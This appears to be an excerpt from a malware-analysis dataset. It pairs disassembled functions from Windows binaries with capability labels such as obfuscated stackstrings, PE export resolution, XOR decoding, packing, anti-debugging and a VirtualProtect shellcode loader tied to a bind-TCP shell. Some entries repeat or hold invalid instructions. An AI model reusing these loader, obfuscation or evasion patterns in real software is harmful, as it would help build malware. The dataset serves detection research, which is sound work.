joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c7d26
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
and eax, 0x103fa
or eax, 0x1486d
call 0x100c7cf8
add byte [eax + 0x4c], al
xor bh, byte [eax]
xor cl, byte [ebp + 0x4d]
inc esi
add esp, 4
pop eax
mov dword [ebp - 0xab4], 0
push eax
push eax
add esp, 4
sub eax, 0x17ecf
and eax, 0x4e4
call 0x100c7d26
add byte [edx], bh
inc esp
dec edx
cmp al, 0x3c
inc esp
inc edi
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x81
call fcn.100cffb2
pop eax
push ebx
add ebx, 0x1742e
pop ebx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push esi
push edx
add esp, 4
and esi, 0x13365
jmp 0x100c7d9c
sub esi, 0x4849
pop esi
push ebx
and ebx, 0xb3ec
and ebx, 0x55d5
jmp 0x100c7db7
or ebx, 0x726d
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1734], cx
mov edx, 0x65
mov word [ebp - 0x1732], dx
mov eax, 0x72
mov word [ebp - 0x1730], ax
mov ecx, 0x6e
mov word [ebp - 0x172e], cx
mov edx, 0x65
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
mov ecx, 0x33
mov word [ebp - 0x1728], cx
mov edx, 0x32
mov word [ebp - 0x1726], dx
mov eax, 0x2e
mov word [ebp - 0x1724], ax
mov ecx, 0x64
mov word [ebp - 0x1722], cx
mov edx, 0x6c
mov word [ebp - 0x1720], dx
mov eax, 0x6c
mov word [ebp - 0x171e], ax
xor ecx, ecx
mov word [ebp - 0x171c], cx
push ecx
add ecx, 0xaa0d
add ecx, 0x1d16
sub ecx, 0x85a4
pop ecx
push esi
push esi
add esp, 4
and esi, 0x698a
or esi, 0x8681
and esi, 0x4f6c
sub esi, 0x2629
pop esi
push eax
jmp 0x100c7e93
call 0x100c7ea3
add byte [edi], dh
dec edi
cmp al, byte [edx + ecx*2 + 0x45]
inc edi
aas
inc ecx
aaa
add esp, 4
pop eax
push esi
xor esi, 0x95f6
add esi, 0x15ec8
and esi, 0x65fa
cli
add byte gs:[eax], al
Function at 0x100c7ea3
Capabilities:
Get number of processors

Disassembly:
add esp, 4
and eax, 0x103fa
or eax, 0x1486d
call 0x100c7cf8
add byte [eax + 0x4c], al
xor bh, byte [eax]
xor cl, byte [ebp + 0x4d]
inc esi
add esp, 4
pop eax
mov dword [ebp - 0xab4], 0
push eax
push eax
add esp, 4
sub eax, 0x17ecf
and eax, 0x4e4
call 0x100c7d26
add byte [edx], bh
inc esp
dec edx
cmp al, 0x3c
inc esp
inc edi
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x81
call fcn.100cffb2
pop eax
push ebx
add ebx, 0x1742e
pop ebx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push esi
push edx
add esp, 4
and esi, 0x13365
jmp 0x100c7d9c
sub esi, 0x4849
pop esi
push ebx
and ebx, 0xb3ec
and ebx, 0x55d5
jmp 0x100c7db7
or ebx, 0x726d
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1734], cx
mov edx, 0x65
mov word [ebp - 0x1732], dx
mov eax, 0x72
mov word [ebp - 0x1730], ax
mov ecx, 0x6e
mov word [ebp - 0x172e], cx
mov edx, 0x65
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
mov ecx, 0x33
mov word [ebp - 0x1728], cx
mov edx, 0x32
mov word [ebp - 0x1726], dx
mov eax, 0x2e
mov word [ebp - 0x1724], ax
mov ecx, 0x64
mov word [ebp - 0x1722], cx
mov edx, 0x6c
mov word [ebp - 0x1720], dx
mov eax, 0x6c
mov word [ebp - 0x171e], ax
xor ecx, ecx
mov word [ebp - 0x171c], cx
push ecx
add ecx, 0xaa0d
add ecx, 0x1d16
sub ecx, 0x85a4
pop ecx
push esi
push esi
add esp, 4
and esi, 0x698a
or esi, 0x8681
and esi, 0x4f6c
sub esi, 0x2629
pop esi
push eax
jmp 0x100c7e93
call 0x100c7ea3
add byte [edi], dh
dec edi
cmp al, byte [edx + ecx*2 + 0x45]
inc edi
aas
inc ecx
aaa
add esp, 4
pop eax
push esi
xor esi, 0x95f6
add esi, 0x15ec8
and esi, 0x65fa
cli
add byte gs:[eax], al
Function at 0x100c80a2
Capabilities:
Get number of processors

Disassembly:
lea ecx, [ebp - 0x1734]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x20c], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push eax
push esi
add esp, 4
call 0x100c8005
add byte [esi + edi], dh
xor esi, dword [esp + esi]
inc eax
add esp, 4
or eax, 0xf105
call 0x100c801c
add byte [eax + edi], bh
push eax
dec esp
inc edi
xor eax, 0xc4834f34
add al, 0x81
call fcn.100d1ecd
pop eax
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x20c], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push edx
add edx, 0x9796
pop edx
push eax
jmp 0x100c8092
call 0x100c80a2
add byte [0x423a343d], bh
cmp dword [eax + 0x4b], ecx
cmp bh, byte [ecx]
add esp, 4
or eax, 0x9489
sub eax, 0x127be
pop eax
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x100c80d5
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15d8], eax
jmp 0x100c8138
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x100c7ff4
movzx ecx, word [ebp - 0x20c]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x100c7ff4
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x100c8122
invalid
test dword [edx + ebp*8], ebp
invalid
invalid
invalid
invalid
invalid

Function at 0x100c81a1
Capabilities:
Get number of processors

Disassembly:
jmp 0x100c812c
mov edx, dword [ebp - 0x15d4]
mov dword [ebp - 0x15d8], edx
cmp dword [ebp - 0x15d8], 0
jne 0x100c8181
push edi
sub edi, 0x7be2
jmp 0x100c814f
pop edi
push eax
push ecx
add esp, 4
or eax, 0x2749
jmp 0x100c8164
sub eax, 0xf2b
pop eax
push ecx
add ecx, 0x2229
pop ecx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x318], eax
jmp 0x100c81e9
push edx
and edx, 0xf652
or edx, 0x48d3
add edx, 0x11561
call 0x100c81a1
add byte [eax], bh
dec edi
cmp eax, 0x83404f4b
les eax, [edx + ebx*2]
push edx
jmp 0x100c81ac
add edx, 0x6be1
pop edx
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x100c81df
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x100c7f95
mov dword [ebp - 0x318], 0
Function at 0x100c99e2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x21c], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push esi
add esp, 4
call 0x100c99e2
add byte [0x3934364a], bh
cmp eax, 0x5f04c483
push ebx
sub ebx, 0xadd2
jmp 0x100c99f5
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x32bd
pop edi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
invalid
invalid
xchg ebp, eax
invalid
out dx, eax
invalid

Function at 0x100c9a93
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx edx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1620], edx
jmp 0x100c9b02
invalid
invalid

Function at 0x100c9b04
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x100e9af3
loopne 0x100c9aef
invalid
dec ebp
invalid

Function at 0x100c9b75
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
xor ecx, 0x13468
pop ecx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x100c9ba9
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x100c9974
mov dword [ebp - 0x774], 0

Function at 0x100c9cac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1668], eax
jne 0x100c9cc8
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], ecx
jmp 0x100c9f91
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1668]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x166c], edx
cmp dword [ebp - 0x166c], 0
jne 0x100c9cfa
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], eax
jmp 0x100c9f91
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x166c]
mov dword [ebp - 0x778], ecx
jne 0x100c9d1f
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], edx
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19a4], edx
mov dword [ebp - 0x77c], 0
jmp 0x100c9d79
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
Function at 0x100ca418
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
add esp, 4
add edx, 0x4cb5
jmp 0x100ca0e2
pop edx
push eax
jmp 0x100ca0ea
pop eax
push ecx
jmp 0x100ca0f1
xor ecx, 0x16fa0
pop ecx
cmp dword [ebp - 0x1674], 0
jne 0x100ca110
mov dword [ebp - 0x314], 0
jmp 0x100ca3b7
mov edx, dword [ebp - 0x1674]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ebx
add ebx, 0x177c7
add ebx, 0xba
sub ebx, 0x63ae
add byte [ecx + 0xb606c3], al
add byte [ebx + 0x51], bl
push ebx
add esp, 4
or ecx, 0xd9d0
sub ecx, 0x180bd
and ecx, 0x495
pop ecx
cmp dword [ebp - 0xce0], 0
jne 0x100ca16c
mov dword [ebp - 0x314], 0
jmp 0x100ca3b7
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push eax
push ecx
add esp, 4
add eax, 0x3dc9
xor eax, 0xc0da
pop eax
push ecx
push edi
add esp, 4
add al, 0x81
leave
dec eax
std
add byte [eax], al
and ecx, 0x3cdd
add ecx, 0xbc48
pop ecx
push ecx
or ecx, 0x6078
pop ecx
mov ecx, dword [ebp - 0x314]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push edi
push edi
add esp, 4
xor edi, 0xf8d
pop edi
push esi
push esi
add esp, 4
call 0x100ca418
add byte [eax + 0x45], al
dec ecx
xor bh, byte [esi]
inc edi
xor al, byte [esi + 0x3a]
add esp, 4
pop esi
push edi
and edi, 0x287b
sub edi, 0xe687
pop edi
mov dword [ebp - 0x794], 0
inc dword [eax]
add byte [eax], al
add byte [ebx - 0x3377b], cl
dec dword [ecx - 0x167f7b]
inc dword [ebx - 0x167f43]
inc dword [eax]
jne 0x100ca45a
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x100ca74b
mov edx, dword [ebp - 0x1680]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1684], eax
jne 0x100ca482
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x100ca74b
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1684]
invalid
Function at 0x1014f8b0
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x1014f8d5
mov eax, dword [esi + 0x1a8]
mov eax, dword [eax]
push esi
call eax
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x1a8]
cmp dword [eax + 8], 0
je 0x1014f8fd
mov eax, dword [esi]
mov dword [eax + 0x14], 0x30
mov eax, dword [esi]
mov eax, dword [eax]
push esi
call eax
mov eax, dword [esi + 0x1a8]
cmp dword [eax + 8], 0
jne 0x1014f8e1
xor eax, eax
cmp dword [esi + 0x44], eax
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret

Function at 0x10155700
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101d9590]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0x100130a8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x108]
push 0x100130a0
push eax
mov byte [ebp - 5], 0
call sub.msvcrt.dll__tempnam
mov edi, eax
add esp, 8
test edi, edi
je 0x1015578a
push 0
push 0x4000100
push 1
push 0
push 0
push 0x10000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0xc], eax
cmp eax, 0xffffffff
je 0x1015578a
mov dword [esi], 0x101555c0
mov dword [esi + 4], 0x10155640
mov dword [esi + 8], 0x101556c0
jmp 0x101557ca
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x3f
mov ecx, dword [ebx]
mov esi, 0x100111d8
mov edx, 0x50
add ecx, 0x18
lea eax, [edx + 0x7fffffae]
test eax, eax
je 0x101557bb
mov al, byte [esi]
test al, al
je 0x101557bb
mov byte [ecx], al
inc ecx
inc esi
dec edx
jne 0x101557a2
jmp 0x101557bf
test edx, edx
jne 0x101557c0
dec ecx
mov byte [ecx], 0
mov eax, dword [ebx]
mov eax, dword [eax]
push ebx
call eax
test edi, edi
je 0x101557d7
push edi
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.101becf5
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1015f580
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, eax
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x1c]
push dword [ebx + 0x1c]
mov ebx, dword [ebx + 0xf4]
push dword [ebp + 0xc]
add eax, eax
add eax, eax
add eax, eax
lea ecx, [eax + eax]
mov dword [ebp - 4], eax
call fcn.1015f310
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [esi + 0xc], eax
jle 0x1015f60d
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
sub edx, ebx
mov dword [ebp + 0x10], edx
push edi
mov esi, dword [edx + ebx]
mov edx, dword [ebx]
xor edi, edi
test ecx, ecx
je 0x1015f5f7
mov ebx, ecx
movzx eax, byte [edx + 1]
movzx ecx, byte [edx]
add eax, edi
add ecx, eax
sar ecx, 1
mov byte [esi], cl
inc esi
xor edi, 1
add edx, 2
dec ebx
jne 0x1015f5d5
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
inc eax
add ebx, 4
cmp eax, dword [edx + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov dword [ebp + 0xc], ebx
jl 0x1015f5c8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402470
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push esp
pop ebp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
shr eax, 4
push edi
inc eax
movzx eax, ax
push 6
push eax
push ebx
mov edi, ecx
call dword [0x40d010]
or eax, eax
je 0x40251c
push esi
push eax
pop edx
push ebx
pop ecx
call fcn.00402a80
push eax
pop ebx
add esp, 4
or ebx, ebx
je 0x40251c
movzx ecx, word [ebx]
push 0
push 0
push 0
push 0
push ecx
lea eax, [ebx + 2]
push eax
push 0
push 3
call dword [0x40d054]
mov esi, eax
test esi, esi
js 0x402525
mov eax, dword [edi]
pushfd
xor ecx, ecx
inc ecx
popfd
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x4024e7
push esi
mov ecx, edi
call fcn.00402830
movzx eax, word [ebx]
push 0
push 0
push esi
push dword [edi]
push eax
lea eax, [ebx + 2]
push eax
push 0
push 3
call dword [0x40d054]
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x402525
mov dword [ecx - 0xc], esi
mov ecx, dword [edi]
pop edi
mov byte [esi + ecx], 0
pop esi
push 1
pop eax
pushal
popal
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
push 0x80070057
call fcn.00402bb0
int3

Function at 0x407030
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
sub edx, edx
add eax, ecx
push edi
test ebx, ebx
je 0x40706c
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407064
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40706e
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407054
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407140
Capabilities:
Parse pe header

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x407154
sub eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x40716f
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x786b465f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
mov eax, section..pdata
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x1d1119fe
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40b054], 1
mov dword [0x40b050], 1
mov dword [0x40b04c], 1
mov dword [0x40b044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40b00c], eax
mov eax, dword [0x40b060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40b074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40b05c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40801c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x40160c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x318
call dbg.__main
lea eax, [ebp - 0x30c]
mov ebx, 0x409078
mov edx, 0xbc
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x30c]
mov dword [esp], eax
call sym._strlen
lea edx, [ebp - 0x310]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
lea eax, [ebp - 0x30c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401693
mov dword [esp], str.VirtualProtect_n
call sym._printf
mov eax, 1
jmp 0x4016be
lea eax, [ebp - 0x30c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
mov dword [esp], str.strlen_windows_shellbindtcp__d_n
call sym._printf
lea eax, [ebp - 0x30c]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401940
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4019a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40b068]
test esi, esi
jle 0x401ac0
mov eax, dword [0x40b06c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4019d4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a57
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019c0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401ae7
mov eax, dword [0x40b06c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40b06c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ac7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a50
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a60
add dword [0x40b068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40b06c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4019de
mov eax, dword [0x40b06c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x401fa0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40b084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40b07c]
sub esp, 4
test ebx, ebx
je 0x401ff5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401fee
test esi, esi
je 0x401fee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fd0
mov dword [esp], 0x40b084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret